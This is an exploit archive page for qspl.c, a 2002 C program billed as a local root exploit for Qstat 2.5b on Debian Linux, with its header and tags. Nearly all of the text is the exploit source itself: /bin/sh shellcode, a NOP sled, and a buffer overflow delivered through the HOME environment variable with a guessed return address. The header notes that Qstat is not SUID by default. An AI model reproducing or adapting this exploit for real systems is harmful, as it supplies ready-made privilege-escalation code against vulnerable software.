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qspl.c

qspl.c
Posted Sep 21, 2002
Authored by Oscar Linderholm

Qstat 2.5b local root exploit for Linux. Tested on Debian GNU/Linux (Woody). Since Qstat is not SUID by default this script is not useful for gaining more access to a linux system.

tags | exploit, local, root
systems | linux, debian
SHA-256 | 0d005a95b831a74d01a12035f653c2f4e07221122ab18b3bb24edc23fa876100

qspl.c

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/* qstat.c - qstat 2.5b exploit
*
* Info:
* Shellcode will be placed in HOME variable, and then a new shell will be
* started. Start qstat in the new shell and voila! Qstat is exploited :)
*
* Test on Debian GNU/Linux (Woody) with offset 2000
*
* Oscar Linderholm <slime@home.se>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

long
get_sp (void)
{
__asm__ ("movl %esp, %eax");
}

int
main (int argc, char *argv[])
{
char buffer[2048];
long retaddr, offset;
int i, j;

if (argc != 2) {
printf ("Usage: %s <offset>\n", argv[0]);
return 0;
}

bzero (buffer, 2048);
offset = atoi (argv[1]);
retaddr = get_sp() + offset;

for (i = 0; i < 995; i++)
buffer[i] = '\x90';

for (j = 0; j < strlen (shellcode); j++, i++)
buffer[i] = shellcode[j];

*(long *)&buffer[i] = retaddr;

setenv ("HOME", buffer, 1);
system ("/bin/sh");

return 0;
}
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